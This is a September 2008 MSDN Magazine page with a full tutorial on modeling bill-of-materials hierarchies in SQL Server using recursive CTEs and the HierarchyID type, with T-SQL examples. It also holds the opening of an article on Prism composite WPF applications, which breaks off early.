September 2008 September 2008
Hierarchy ID: Model Your Data Hierarchies With SQL Server 2008
Here we explain how the new hierarchyID data type in SQL Server 2008 helps solve some of the problems in modeling and querying hierarchical information. Kent Tegels
Prism: Patterns For Building Composite Applications With WPF
We introduce you to the benefits of building composite applications with the Composite Application Guidance for WPF from Microsoft patterns & practices. Glenn Block
Data Services: Create Data-Centric Web Applications With Silverlight 2
ADO.NET Data Services provide Web-accessible endpoints that allow you to filter, sort, shape, and page data without having to build that functionality yourself. Shawn Wildermuth
Advanced WPF: Understanding Routed Events And Commands In WPF
See how routed events and routed commands in Windows Presentation Foundation form the basis for communication between the parts of your UI. Brian Noyes
Columns
Editor's Note: Hanging Onto The Long Tail: Technology changes at a lightning-fast pace. This month Howard Dierking considers how the rapid changes affect developer priorities and magazine focus.Howard Dierking | Toolbox: Easy LINQ Queries, Becoming A Better Developer, And Logging Help: This month Toolbox provides help with error logging, finds an app that helps you write LINQ queries, and explores the non-technical side of development.Scott Mitchell | CLR Inside Out: Unhandled Exception Processing In The CLR: In this installment of CLR Inside Out Gaurav Khanna explains everything you need to know about unhandled exception processing in the .NET Framework.Gaurav Khanna
Data Points: Service-Driven Apps With Silverlight 2 And WCF: Here John Papa demonstrates how to build a Silverlight 2 user interface that communicates through WCF to interact with business entities and a database.John Papa | Advanced Basics: The LINQ Enumerable Class, Part 2: This month Ken digs deeper into the System.Linq.Enumerable class and shows readers how to perform some magic data operations using System.Linq.Enumerable.Ken Getz | Office Space: Custom Auditing In SharePoint: Learn how to enable an auditing solution for Windows SharePoint Services (WSS) 3.0 with customized control pages in Microsoft Office SharePoint Server (MOSS) 2007.Ted Pattison
Cutting Edge: Building A Secure AJAX Service Layer: This month Dino builds a service layer that authenticates users of Silverlight 2 and ASP.NET AJAX services to prevent illegal access to sensitive back-end services.Dino Esposito | Test Run: Configuration Testing With Virtual Server, Part 1: This time James McCaffrey sets up a virtual environment to use for configuration testing to introduce you to software configuration testing with Microsoft Virtual ServerDr. James McCaffrey | Security Briefs: SDL Embraces The Web: In this installment we introduce you to new Web-oriented security guidance and tools straight from the Security Development Lifecycle (SDL) team at Microsoft.Bryan Sullivan
Foundations: Dependency Properties And Notifications: Windows Presentation Foundation dependency properties don’t always play well with others. Learn how you can compensate for their lack of notification events.Charles Petzold | { End Bracket }: A New Era In Visual Simulation: The ESP simulation engine, the basis for Microsoft Flight Simulator, handles visual rendering, physics, sound, and other virtual world capabilities. Take a look inside.Todd Landstad


Hierarchy ID
Model Your Data Hierarchies With SQL Server 2008
Kent Tegels

Code download available at: SQLHierarchyID2008_09a.exe (155 KB)
Browse the Code Online

This article is based on a prerelease version of SQL Server 2008 RC0. All information herein is subject to change.
This article discusses:
  • Modeling hierarchical data
  • Creating a bill of materials system
  • Moving to HierarchyID
  • Testing the system
This article uses the following technologies:
SQL Server 2008
Contents
Hierarchical Data
A Bill of Materials Problem
Using Entities to Understand the Problem
A BOM System in SQL Server 2005
Create the Tables
Queries to Validate the Design
Taking Advantage of HierarchyID
Testing the HierarchyID Implementation
Wrapping Up
The manufacturing system behind automobiles; the organization of a country into states, counties, cities, and postal codes; the description of a home entertainment system—what do these things have in common? The simple answer is that each describes a hierarchy.
SQL Server 2008 supports a new data type, HierarchyID, that helps solve some of the problems in modeling and querying hierarchical information. I will introduce you to this data type by discussing a pattern commonly used in manufacturing known as bill of materials (BOM), or bills. Starting with a brief discussion of BOMs, I will illustrate how this kind of data can be modeled. I will also present an implementation of this model in SQL Server 2005. Then I will show you how the HierarchyID data type can be used to implement the model in SQL Server 2008.

Hierarchical Data
Automobiles are amalgamations of many components, such as engines, drivetrains, electronics, and steering. In the United States, our geographic territories are divided into states and are then sub-divided into jurisdictions called counties. Counties are then further subdivided in different ways by different agencies. The United States Census Bureau, for example, composes them from Census Tract Areas. The U.S. Postal Service routes mail delivery by Zone Improvement Plan (ZIP) codes. Geographic information systems (GIS) may aggregate census tracts and ZIP codes together to provide users with a familiar spatial reference for an area.
A recent trip to a local electronics store to evaluate a replacement home entertainment system pointed to a similar sort of hierarchical system—all the combinations of possible components and options left my head spinning! I wondered how such systems could be modeled and implemented in a database system.
The relationship between an automobile and its engine represents a hierarchy: the automobile contains the engine. The relationship is the same for the drivetrain, the electronics, and the steering. The relationship is containment. A similar hierarchy can be observed in the relationship between the different groupings of geographic or census data.
Hierarchies exist everywhere, yet implementing them in the context of a relational database frequently proves to be a challenge. A typical approach is to represent the hierarchy using a parent/child relationship with one or more tables. While this approach certainly works in many cases, it has a few shortcomings. Such solutions must carefully consider how the referential integrity will be maintained. And while querying the depth and breadth of such tables was considerably simplified in SQL Server 2005 with the introduction of recursive common table expressions, writing queries against these types of tables can still be problematic when joins against many tables are required.

A Bill of Materials Problem
A few years ago I was working on a system being developed by a manufacturing company to help their dealers specify the components needed to build center-pivot irrigation systems. The software produced a list of components needed to custom-build the desired pivot (the totality of a center-pivot irrigation system is simply referred to as a pivot within the industry). The required components were determined based on geography, soil type, and the intended crops planted in the areas to be covered as well as the hydrologic and structural considerations of the device itself.
Underpinning the solution would be a SQL Server database. The purpose of the database was to store information about the components available to build the pivot. However, when we generated the specification for manufacturing, we needed to identify those components as BOMs.
Some bills represented a collection of physical parts that would be assembled into a system component. For example, every pivot needed a pump to draw water from a well into the system. That pump might be electrically powered, meaning it needed a transformer and fuse box, too. Or the pump might be fuel powered, meaning it needed a tank, a fuel pump, and hoses to connect the pump to the tank. In either case, the required parts for the pump would be listed in a pump bill.
The bill for a complete pivot would include a collection of other bills. For example, a standardized pivot might consist of a tree of bills for the pump, another tree of bills for the spans of pipe used to deliver water, and bills for any other equipment needed to build that pivot system.

Using Entities to Understand the Problem
The first question you should ask is: what are the entities you need to be concerned with in representing a hierarchical system and what attributes might those entities have? The trick is to not be drawn into the semantics of the individual elements in the underlying system you are trying to model.
For example, consider the case of the PC-based home theater system shown in Figure 1. It might be easy to say that each item shown here represents an entity. While this is true, it becomes difficult to represent all of the possible home theatre systems that a company might sell. What if some systems use a digital video recorder (DVR) instead of a PC? What about consumers who don't want a radio tuner?
Figure 1 Components within a Home Theater System
Variations like these are precisely why a BOM system works well as a pattern for hierarchical data modeling problems. It allows for a complete system to be composed from many different sub-bills and sub-sub-bills until you eventually get down to individual parts in a tree data structure. At the root of the tree is a complete system represented by a single bill. The first level of branches is generally comprised of bills as well. The list of sub-bills continues down the hierarchy until a bill consists only of a list of physical system parts, and these parts become the leaf nodes on the tree.
So what entities do we have in the system? There are bills that contain only parts (parts lists), and there are bills that contain other bills.
A part has a description and a cost. (Of course, it could have many other attributes, but let's keep things simple for illustration purposes.) A parts list's attributes might include a part and the quantity of that part required. It is important to separate the quantity of a particular part needed from the part information itself. If you fail to do that, you may end up having many duplicate instances of a part that is based only on the difference in the quantity used. Normalization rules suggest that this is an inappropriate design in most cases.
A bill will have a description, a way to associate it with its parent bill, and an associated parts list. Figure 2 represents the set of entities and their relationships.
Figure 2 Relationship of Entities
While relational databases are great at representing most relationships, they are not well suited to working with many-to-many entity models. It is not that the physical tables cannot handle the data; rather, it is difficult to create appropriate referential integrity constraints between the tables. Such relationships also lead to complex queries. This problem is easy to fix, however, when you first address the logical design of the tables. You need to insert a table between the part list table and the bill table. That table will simply hold a reference to a bill and a reference to a parts list. Figure 3 shows an entity relationship diagram including this extra table.
Figure 3 Entity Relationship Diagram for a Simplified Bill of Materials System

A BOM System in SQL Server 2005
Now that you've seen the theory underpinning a BOM system, it's time to implement one. The procedure is straightforward.
  1. Create the database
  2. Create the tables shown in the entity relationship diagram
  3. Add the constraints required on the appropriate tables
  4. Configure access permissions on the tables as needed
  5. Populate the tables with test data
  6. Write and execute queries against the tables in order to validate the design
Here is the T-SQL code for creating a sample database. You will likely need to change the filename paths for use on your system:
create database [dbBom] on  primary (
  name = n'dbBom', filename = n'c:\msdnmag\dbBom.mdf',
  size = 50mb , maxsize = unlimited, filegrowth = 2mb )
log on (
  name = n'dbBom_log', filename = n'c:\msdnmag\dbBom_log.ldf',
  size = 10mb , maxsize = 2048gb , filegrowth = 10%);
After you have successfully executed this statement, make sure to change your database scope to dbBOM, such as with a USE dbBOM statement.

Create the Tables
Following is the executable T-SQL code for creating the four required tables:
create table dbo.part(
  partID smallint not null,
  descr varchar(50) not null,
  cost money not null);
create table dbo.partList(
  partListID int not null,
  partID smallint not null,
  quantity smallint not null);
create table dbo.billPartList(
  billID int not null,
  partListID int not null);
create table dbo.bill(
  billID int not null,
  parentBillID int null,
  descr varchar(50) not null);
Note that the only column in these tables allowed to have a null value is the parentBillID in dbo.bill. This null value allows us to distinguish a bill that represents a complete system from other bills.
A key to making this implementation referentially valid is getting the constraints on the tables correct. The tables have different functions in the solution, so they will have different constraints. However, every table in SQL Server should have a primary key associated with it, like so:
alter table dbo.part
  add constraint pkPart
  primary key clustered(partID);
alter table dbo.bill
  add constraint pkBill
  primary key clustered(billID);
alter table dbo.partList
  add constraint pkPartList
  primary key clustered(partListID);
alter table dbo.billPartList
  add constraint pkBillPartList
  primary key clustered(billID,partListID);
Some of these columns should always have a unique value, like the description (descr) of a part or bill. You can also prevent users from creating what amounts to a duplicate part list entry by requiring the combination of a partID and the quantity of that part required:
alter table dbo.part
  add constraint uqDescr
  unique(descr);
alter table dbo.bill
  add constraint uqBill
  unique(descr);
alter table dbo.partList
  add constraint uqPartList
  unique(partID,quantity);
Finally, add the foreign key constraints between the tables. The first constraint is between dbo.part and dbo.partList. This will require that the part being added to the part list first be defined in the dbo.part table. If a part is deleted from dbo.part, you want that change to be reflected in the part list. That is easily done by adding the "on delete cascade" clause to the constraint. Since the partID is marked as an identifier, it cannot be changed and thus no cascading action should be taken:
alter table dbo.partList
  add constraint fkPartList_Part
  foreign key(partID)
  references dbo.part(partID)
  on delete cascade
  on update no action;
The next constraint requires that if a bill is assigned a parentBillID, the bill referenced by billID must already exist in the dbo.bill table. The cascading constraints are different. You are prohibited from having a cascading constraint here because SQL Server cannot guarantee that an infinite recursion of actions might take place when you delete or update a parent bill. Since no defaults have been defined, "set default" is not an option either.
alter table dbo.bill
  add constraint fkBill_Bill
  foreign key(parentBillID)
  references dbo.bill(BillID)
  on delete no action
  on update no action;
The billPartList table requires a couple of foreign key constraints. First, you need to require that the part list being associated with a bill exists in the PartList table. Also, the bill being referenced must be within the dbo.bill table. Since neither the billID from dbo.bill nor the partListID from dbo.partList can be updated, there is no cascade action possible for the constraints. However, if a part or bill is deleted, those changes may affect this table:
alter table dbo.billPartList
  add constraint fkBillPartList_PartList
  foreign key(partListID)
  references dbo.partList(partListID)
  on delete cascade
  on update no action;
alter table dbo.billPartList
  add constraint fkBillPartList_Bill
  foreign key(billID)
  references dbo.bill(billID)
  on delete cascade
  on update no action;
You can now insert some data into the tables for testing. Given the amount of data involved, I will not show the code for that here. If you download the sample code for this article, simply open and run the script named 01_data.sql to generate this sample data.

Queries to Validate the Design
Writing and executing some simple queries will help test and validate that the design works as expected. My first query uses the new common table expressions syntax to produce a hierarchical list of bills:
with c as (
  select billID,parentBillID,descr,0 as [level]
  from dbo.bill b
  where b.parentBillID is null
    union all
  select b.billID,b.parentBillID,
    b.descr,[level] + 1
  from dbo.bill b join c on b.parentBillID =
    c.billID)
select descr,[level],billID,parentBillID
  as bill
from c
In the returned data shown in Figure 4, there is a single root node (where the parentBillID is null). If you had more than one such bill, you would need to change the query to select that parent by the bill's ID. (For more on common table expressions, see the October 2007 Data Points column at msdn.microsoft.com/magazine/cc163346.)
Figure 4 Querying a Hierarchy of Bills
The next query builds on the first by listing the each of the parts used for the system bill returned by the first query. This query exercises all of the relationships between the tables:
with c as (
  select billID,parentBillID,descr,0 as [level]
  from dbo.bill b
  where b.parentBillID is null
    union all
  select b.billID,b.parentBillID,b.descr,[level] + 1
  from dbo.bill b join c on b.parentBillID = c.billID)
select p.partID,p.descr
from c
join dbo.billPartList bpl on c.billID = bpl.billID
left join dbo.partList pl on bpl.partListID = pl.partListID
join dbo.part p on pl.partID = p.partID
group by p.partID,p.descr;
The next query then computes the manufacturer's suggested retail price (MSRP) for the system by summing the cost of the required system parts and multiplying by 2:
with c as (
  select billID,parentBillID,descr,0 as lvl
  from dbo.bill b
  where b.parentBillID is null
    union all
  select b.billID,b.parentBillID,b.descr,lvl + 1
  from dbo.bill b join c on b.parentBillID = c.billID)
select SUM(p.cost*pl.quantity) * 2.0
  from c
  join dbo.billPartList bpl on c.billID =     bpl.billID
  left join dbo.partList pl on     bpl.partListID= pl.partListID
  join dbo.part p on pl.partID = p.partID
The next query inverts the previous queries. Instead of traversing the data top-down from the topmost parent bill, you can see that it starts with a part, queries for the bill it belongs to, and then works its way up the hierarchy to find all the bills that use the part:
with c as (
  select b.descr,b.billID,b.parentBillID,0     as lvl
  from dbo.partList pl
  left join dbo.billPartList bpl on    pl.partListID = bpl.partListID
  left join dbo.bill b on bpl.billID =     b.billID
  where pl.partID = 19
    union all
  select b.descr,b.billID,b.parentBillID,lvl+1
  from dbo.bill b
  join c on c.parentBillID = b.billID)
select * from c;
Visualizing how the bills inter-relate using the row-wise listing can prove difficult. In such cases, it makes sense to organize the bills into paths, as shown below. By doing so, you can easily visualize the nesting of bills:
with c as (
  select '/'+cast(billID as varchar(49)) as path,BillID
  from dbo.bill b
  where b.parentBillID is null
    union all
  select cast(c.path+'/'+CAST(b.billID as varchar(4)) as varchar(50)),    b.billID
  from dbo.bill b join c on b.parentBillID = c.billID)
select c.path+'/',b.descr
from c join dbo.bill b on c.billID = b.billID
order by 1;
You can see the resulting nest in Figure 5.
Figure 5 Listing the Nested BOMs
The remaining queries demonstrate adding a new bill to the system—in this case, assume that the company is including a 4GB memory stick as part of "Summer Bonus Promotion." The code in Figure 6 inserts a new part, and the bill representing it, into the hierarchy.
Figure 6 Adding a New Part and Bill
begin transaction
  declare @mp int;
  declare @mpl int;
  declare @mb int;
  select @mp = MAX(partID)+10 from dbo.part;
  insert into dbo.part(partID,descr,cost)
    output inserted.*
    values (@mp,'4GB USB 2.0 Memory Stick',20.0);
  select @mpl = MAX(partListID)+10 from dbo.partList;
  insert into dbo.partList(partListID,partID,quantity)
    output inserted.*
    values (@mpl,@mp,1);
  select @mb = MAX(billID)+10 from dbo.bill;
  insert into dbo.bill(billID,parentBillID,descr)
    output inserted.*
    values (@mb,110,'Summer Bonus Package')
  insert into dbo.billPartList(billID,partListID)
    output inserted.*
    values (@mb,@mpl);
commit;
go
select * from dbo.bill where parentBillID = 110;
select * from dbo.part;
go
Now suppose that somebody points out that the "Summer Bonus Package" bill should not be located directly beneath the total system bill, but rather under the Disk Drive module. This is an easy change to make in a relational database:
update dbo.bill set parentBillID = 320 where billID = 507
go
select * from dbo.bill where parentBillID = 320;
go
At the end of the summer promotion period, deleting this new bill is also simple:
begin transaction
  delete from dbo.billPartList where billID=507;
  delete from dbo.bill where billID=507;
  delete from dbo.part where partID=45;
commit;
go
select * from dbo.billPartList;
select * from dbo.bill;

Taking Advantage of HierarchyID
The HierarchyID data type is a CLR-based binary representation designed to store a compact, binary representation of an ordered path. Since it is a built-in data type there is no need to specifically activate the SQL/CLR functionality to use it. HierarchyID is useful whenever you need to represent a nested relationship between values where that relationship can be expressed in an ordered path syntax.
An ordered path looks a bit like a file path, but instead of using directory and file names, numeric values are used. Just like any other parent/child relationship, all ordered paths must be anchored by a root node. In SQL Server 2008, a single character (/) is used to textually represent the root node. Elements with the ordered path are normally represented by integers, but decimal values maybe used as well. The ordered path must terminate with another single character (/).
Ordered paths are not stored in the database in text form, however. Rather, they are mathematically hashed into binary values and those binary values are what is stored in the data pages.
How then do we need to modify our existing database to use HierarchyID? Figure 7 shows some of the ordered paths used by the example bill. Since the parent/child relationship in my sample data is found in the bill table, that is a logical place to start. Rather than modify that table, I will add a new table called bill2.
Figure 7 Paths Used in the Sample Bill of Materials
I will add a column named billPath, of the HierarchyID type. I store the parent/child relationships between bills—using ordered path format—in this column. And while I could at this point remove a column to navigate to a parent row, having this capability will still be helpful in many queries. Rather than store the parent ID as a static data field, however, I will show you how you can use a persisted, computed column based on the hierarchy ID for this type of navigation. The updated table creation code is as follows:
create table dbo.bill2(
  billPath HierarchyID not null,
  billID smallint not null,
  parentBillPath as billPath.GetAncestor(1) persisted,
  descr varchar(50) not null);
If you have not worked with data types based in the Microsoft .NET Framework before, the method invocation in the definition of parentBillPath might seem unusual. The ability to invoke a method defined by the type, optionally passing it one or more parameters, greatly simplifies the code.
Here you can see the HierarchyID type's GetAncestor method. The HierarchyID stores the path in a compact binary form. You simply cannot reference some segment of that binary value and treat that as a billID, nor can you directly fetch some sub-segment of the ordered path for a bill. For this, you can take advantage of the GetAncestor method. The parameter value here means "return the ordered path ending with this node's parent." The parameter value controls how far up in the ordered path the truncation occurs. So here you have the ordered path to the current bill's parent. Figure 8 summarizes the methods available on the HierarchyID data type and some typical use cases for each method.
Figure 8 HierarchyID Methods
Method | Returns | Parameter Values | Purpose
GetAncestor | A HierarchyID representing an ordered path for a parent or higher-level element. | An integer indicating the number of levels above the level to traverse up in the current ordered path. | Finds the parent, grandparent, or higher-level element in the ordered path for this instance.
GetDescendent | A HierarchyID representing the path of a child, grandchild, or later child of the current node. | Two HierarchyID instances, either or both of which may be null, constraining the potential child returned. | Gets a path for inserting a new element at some depth into the current ordered path.
GetLevel | A 16-bit integer value representing the total depth of the ordered path. | None. | Determines whether two ordered paths have the same depth.
GetRoot | A HierarchyID for an ordered by path with zero elements. | None. | Finds the absolute root for any ordered path.
IsDescendantOf | 1 if the ordered path passed in as a parameter is a child of the calling instance. | A HierarchyID instance. | Determines whether a given HierarchyID is a child of another instance.
Parse | A HierarchyID instance. | The textual representation of an ordered path. | Creates a HierarchyID instance from a given path. Implicitly called whenever a HierarchyID instance is set to a string.
GetReparentedValue | A HierarchyID representing a complete ordered path when moving the current item from one path to another. | The current ordered path as a HierarchyID and the targeted ordered path, also as a HierarchyID. | Moves one or more row values from one parent ordered path to another.
ToString | The textual representation of a HierarchyID's ordered path. | None. | Analyzes the ordered path of a HierarchyID.
Next, you need to create a primary key on the new table as well as its foreign key constraint:
alter table dbo.bill2
  add constraint pkBill2
  primary key(billPath);

alter table dbo.bill2
  add constraint fkBill2Parent
  foreign key (parentBillPath) references dbo.bill2(billPath);
In this case I am using HierarchyID values as both a primary key and foreign key. Remember that a HierarchyID represents a depth-first ordered path. Therefore, values will vary most between peers and less between a parent and child path. When using a HierarchyID value for the clustered index on a table, nodes along the same path will be stored closer together than nodes on other paths. In many cases, this is a good design because you want to query a given path for all of its children. However, if you are more frequently querying for specific nodes, you might want to create the clustered index on a column derived from GetLevel.
This particular implementation introduces a subtle problem. Because I am basing a foreign key constraint on a path rather than a value, I need an existing value in the table to anchor on. All chains of bills will require an anchor and, thankfully, they can all use the same one. The HierarchyID GetRoot method is actually the perfect way to solve this problem. Consider the following statement:
insert into dbo.bill2(billPath,billID,descr)
  values (hierarchyID::GetRoot(),0,'All Bills');
Here I am creating a bill that represents the highest possible root in any hierarchy by calling the GetRoot method as a static member of the type. Now when I insert first-level nodes, they will still refer to a parent within the current table.
So just how do you migrate the existing bills from dbo.bill to dbo.bill2? All you really need to do is modify the previously shown query that selects the hierarchy path so that it casts that path to a HierarchyID and then inserts the data into dbo.bill2. Here is the T-SQL code:
with c(billID,[path],[descr]) as (
  select b.billID,'/'+CAST(b.billID as varchar(max)),descr
  from dbo.bill b
  where parentBillID is null
    union all
  select b.billID,c.path+'/'+CAST(b.billID as varchar(max)),b.descr
  from dbo.bill b
  join c on b.parentBillID = c.billID)
insert into dbo.bill2(billpath,billID,descr)
select path+'/' as [path],billID,descr
from c
order by c.path;
Figure 9 shows the contents of dbo.Bill2.
Figure 9 The First 15 Rows of dbo.bill2
You will now also want to update the foreign key relationship with dbo.BillPartList as follows:
alter table dbo.billPartList
drop constraint fkBillPartList_Bill
go
alter table dbo.billPartList
  add constraint fkBillPartList_Bill2
  foreign key(billPath)
  references dbo.bill2(billPath)
  on delete cascade
  on update no action;

Testing the HierarchyID Implementation
With the tables created and populated and with constraints in place, I can rewrite the previous test queries to use the new HierarchyID type. The first query produced a hierarchical listing of the bills from the top (bill 110) down by using a recursive common table expression. When I use the HierarchyID data type, the complete linage for any given bill is already represented within that value. For example, one of the bottom-most bills in the hierarchy is bill 405, representing a CPU kit. How would I know what bills make up its lineage? This code will tell me:
select billPath.ToString() from dbo.bill2 where   billID=405;
The output from that query is a string with the value "/110/210/310/405." Now the question becomes how, exactly, can I get the bills represented by that string? That is a bit trickier since the HierarchyID type does not offer a method for converting the list of values into a vector. However, you can write your own using either T-SQL or SQL/CLR. Here is the code for doing this using a T-SQL table-valued function:
create function dbo.Vectorize(@i hierarchyID)
returns @t table (position int identity(1,1)
  not null,nodeValue int not null)
as begin
  declare @list varchar(max) = @i.ToString();
  declare @delimit int;
  set @list = substring(@list,2,len(@list)-1);
  while len(@list) > 1 begin
    set @delimit = charindex('/',@list);
    insert into @t values (cast(substring(@list,1,@delimit-1) as int));
    set @list = substring(@list,@delimit+1,len(@list));
  end;
  return;
end;
Now you have a simple way of examining the linage of any bill in the system with a single, non-recursive query:
declare @anyBill int = 405;
select b1.billPath,b2.billID,b2.descr from dbo.bill2 b1
  cross apply dbo.vectorize(b1.billPath) p
  join dbo.bill2 b2 on b2.billID = p.nodeValue
  where b1.billID = @anyBill;
What about finding the parts used by a given bill? Unlike the prior implementation where I need to recursively query the list of bills, this query can take advantage of a HierarchyID's ability to determine whether one ordered path is a descendent of another by using the IsDescendantOf method:
declare @anyBill int = 110;
declare @sourceBillPath hierarchyID;
select @sourceBillPath = billPath from dbo.bill2 where billID = @anyBill;
select p.partID as 'partID',
  p.descr 'partName'
  from dbo.bill2 b2
  left join dbo.billPartList bpl on b2.billID = bpl.billID
  left join dbo.partList pl on bpl.partListID = pl.partListID
  left join dbo.part p on pl.partID =p.partID
  where b2.billPath.IsDescendantOf(@sourceBillPath)=1
  and p.partID is not null
  order by p.partid;
Calculating the MSRP of the whole system or any sub-bill can be done with a few modifications to the technique that I showed you previously:
declare @anyBill int = 110;
declare @sourceBillPath hierarchyID;
select @sourceBillPath = billPath
from dbo.bill2 where billID = @anyBill;
  select SUM(p.cost * pl.quantity)*2.0
  from dbo.bill2 b2
  left join dbo.billPartList bpl on b2.billID = bpl.billID
  left join dbo.partList pl on bpl.partListID = pl.partListID
  left join dbo.part p on pl.partID =p.partID
  where b2.billPath.IsDescendantOf(@sourceBillPath)=1;
Determining which bills use a particular part can be queried using the GetAncestor method. That method allows you to query up a hierarchy. Here I need to use recursion to traverse upward through the list of bills:
declare @partID int = 20;
with c(billPath,descr) as (
  select b.billPath,b.descr
  from dbo.part p
  join dbo.partList pl on p.partID = pl.partID
  join dbo.billPartList bpl on pl.partListID = bpl.partListID
  join dbo.bill2 b on bpl.billID = b.billID
  where p.partID = @partID
    union all
  select b.billPath,b.descr
  from dbo.bill2 b
  join c on b.billPath = c.billPath.GetAncestor(1))
select distinct descr,billPath
from c
where billPath <> hierarchyID::GetRoot()
order by billPath;
Figure 6 added a new part and bill. No changes are needed in the code to insert the part or to create the part list. Creating a bill, however, does provide the opportunity to use the GetDescendant and GetReparentedValue methods of HierarchyID. I can start the process with the following code excerpt:
begin
  begin transaction
  declare @mp int;
  declare @mpl int;
  select @mp = MAX(partID)+10 from dbo.part;
  insert into dbo.part(partID,descr,cost)
    output inserted.*
    values (@mp,'4GB USB 2.0 Memory Stick',20.0);
  select @mpl = MAX(partListID)+10 from dbo.partList;
  insert into dbo.partList(partListID,partID,quantity)
    output inserted.*
    values (@mpl,@mp,1);
With the part and parts list created, I can now create the related bill. The idea is to insert the new bill into the hierarchy to the right of all of the other bills making up the Super X100 Home Theatre System. To do that I need to know two things: the path for parent bill and the path for its right-most child.
Getting the path for the parent bill is a simple query. Finding its right-most child requires using the IsDescendantOf and GetLevel methods, like this:
declare @root hierarchyID;
declare @newBillPath hierarchyID;
declare @newBillID int;

select @root = billPath
  from dbo.bill2
  where billID = 110;

select @newBillPath = max(billPath)
  from dbo.bill2
  where billPath.IsDescendantOf(@root) =1
  and billPath.GetLevel() = @root.GetLevel()+1;
I am looking for all the root node's immediate descendants. Since paths are ordered by value, the bill with the maximum value for the HierarchyID will be the right-hand-most instance. Knowing the right-hand-most peer node, I now need to create a new path adjacent to it. This is where GetDescendant comes into use. The parameters to this method control where the new path is created. When I leave the second parameter in the list null here, I am saying "create the node to the right of the first parameter:"
select @newBillPath =@root.GetDescendant(@newBillPath,null);
Now I have a path for the new bill, and that path will have a value for newBillID, so I just need to extract that. The table-valued function added earlier can help:
select @newBillID = nodeValue
  from dbo.Vectorize(@newBillPath)
  where position = @newBillPath.GetLevel();
Finally, I can finish this transaction by inserting the new bill into the dbo.bill2 table and inserting the billID and the partListID into the dbo.billPartList table:
insert into dbo.bill2
  output inserted.*
  values (@newBillPath,@newBillID,'Summer Bonus Package');

insert into dbo.billPartList(billID,partListID)
  output inserted.*
  values (@newBillID,@mpl);

commit;
end;
To move the Summer Bonus bill from being a direct child of the Super X100 Home Theatre System to being a child of the Disk Drive Module is not especially difficult provided that you do not want to change the billID (see Figure 10). The critical thing to remember about using GetReparentedValue is that calling it does not in and of itself affect any changes to values persisted in a table. Instead, you need to use an update to affect that change.
Figure 10 Moving a Bill
begin
begin transaction
declare @oldPath hierarchyID,@newRoot hierarchyID;
declare @newPath hierarchyID;
declare @billIDToMove int = 251;
declare @billIDToMoveTo int = 320;
select @oldPath = billPath
  from dbo.bill2 where BillID = @billIDToMove;
select @newRoot = b.billPath
  from dbo.bill2 b where billID = @billIDToMoveTo
select @newPath = @oldPath.GetReparentedValue(
  @oldPath.GetAncestor(1),@newRoot);
update dbo.bill2
  set billPath = @newPath
  output inserted.*
  where billID = 251;
commit;
end;
Deleting a part and its matchingID bills can be either a fairly simple process or it can require substantial effort. Much depends on whether the bill being deleted is the parent of another bill. If not, as in the case of the Summer Bonus bill, you can just delete the bill and the part:
begin
declare @partToDelete int = 45;
begin transaction
delete from dbo.bill2 where billID in
  (  select billID from dbo.billPartList bpl
  join dbo.partList pl on bpl.partListID = pl.partListID
  join dbo.part p on pl.partID = p.partID
  where p.partID = @partToDelete);
delete from dbo.part where partID = @partToDelete;
commit;
end;
Deleting a bill that is the parent of one or more other bills in a design like the one presented here requires more complex code. The issue is that I have a foreign key constraint which requires each bill to have an immediate parent. If I try to delete a parent bill, an error is raised. To fix this, I must first move any children to a bill that will survive. To do that, I will have to temporarily drop the foreign key constraint and compute paths for the new nodes using the GetReparentedValue method.

Wrapping Up
The new HierarchyID type in SQL Server 2008 provides compact data types with the ability to store and work with node-identifying ordered paths. Almost any system that relies on a hierarchical data model can be implemented using this new data type.
The primary benefits are that you can reduce amount of data physically stored on disk and write less complex queries. Note that you can still take advantage of the native SQL Server support for cascading referential integrity constraints with this type as well. The key point to remember is that unlike traditional approaches to modeling a hierarchy using scalar values for a child's ID and a parent's ID, with HierarchyID, each node will contain its complete path as its identity.
Kent Tegels is the Data Curriculum Technical Lead at Developmentor. He develops and teaches classes for SQL Server, .NET, and XML.


Prism
Patterns For Building Composite Applications With WPF
Glenn Block

This article discusses:
  • Composite application basics
  • The bootstrapper and module initialization
  • Regions and RegionManager
  • Views, commands, and events
This article uses the following technologies:
Composite Application Guidance for WPF
Contents
The Problem: Monolithic Apps
Composite Applications
Composite Application Guidance
The Bootstrapper and Containers
Module Initialization
Using the Bootstrapper
Modules and Services
Regions and RegionManager
Locally Scoped Regions
Views
Separated Presentation
Commands
Events
Wrapping Up
Technologies such as Windows ® Presentation Foundation (WPF) and Silverlight™ provide developers with a simple, declarative means of quickly and easily delivering applications with rich user experiences. But while these technologies aid in further separating the presentation layer from the logic layer, they don't solve the age-old problem of building a maintainable app.
In smaller projects, it's reasonable to expect that a developer of moderate experience can design and build an application that can be readily maintained and expanded upon. However, as the number of moving parts—and the number of people working on those parts—increases, keeping the project under control becomes exponentially more difficult.
Composite applications are a solution to this problem. In this article I will explain what a composite application is and how you can build one that takes advantage of the capabilities of WPF. Along the way I will introduce you to the new Composite Application Guidance for WPF (formerly code-named "Prism") from the patterns & practices team at Microsoft.

The Problem: Monolithic Apps
Let's consider an example to understand the need for composite applications. Contoso Financial Investments provides an application for managing your stock investment portfolio. Using the application, a user can view current investments and related news items for those investments, add items to a watch list, and perform buy/sell transactions.
If you built this as a traditional WPF application with user controls, you would start with a top-level window and add user controls for each of the different aforementioned functions. In this case, you'd have user controls such as PositionGrid, PositionSummary, TrendLine, and WatchList (see Figure 1). Each user control is laid out at design time within the main window either manually in XAML or using a designer such as Expression Blend™.
Figure 1 User Controls in a Monolithic App
You would then use RoutedEvents, RoutedCommands, and data binding to wire everything up. For more on this topic, see the Brian Noyes article, "Understanding Routed Events and Commands in WPF," in this issue (msdn.microsoft.com/magazine/cc785480). The PositionGrid has an associated RoutedCommand for selection. In the command's Execute handler, a TickerSymbolSelected event occurs whenever a position is selected. The TrendLine and NewsReader are wired up in order to listen to the TickerSymbolSelected event and render their contents based on the selected ticker symbol.
In this case, the application is tightly coupled to each of the controls. There is a significant amount of logic in the UI for coordinating the different pieces. There are also interdependencies among the controls.
Due to these dependencies, there's no easy way to break up the application into a form where you can develop each of the different pieces separately. You could put all the user controls in a separate assembly to improve maintainability, but that only moves the problem from the main app to the control assembly. It's very difficult in this model to make significant changes or introduce new functionality.
Now let's complicate matters by adding two new business requirements. The first is to add a fund notes screen that displays personal notes about the selected fund when it is double-clicked. The second is to add a new screen that displays a list of hyperlinks related to the selected fund. Due to time constraints, these features must be developed in parallel by different teams.
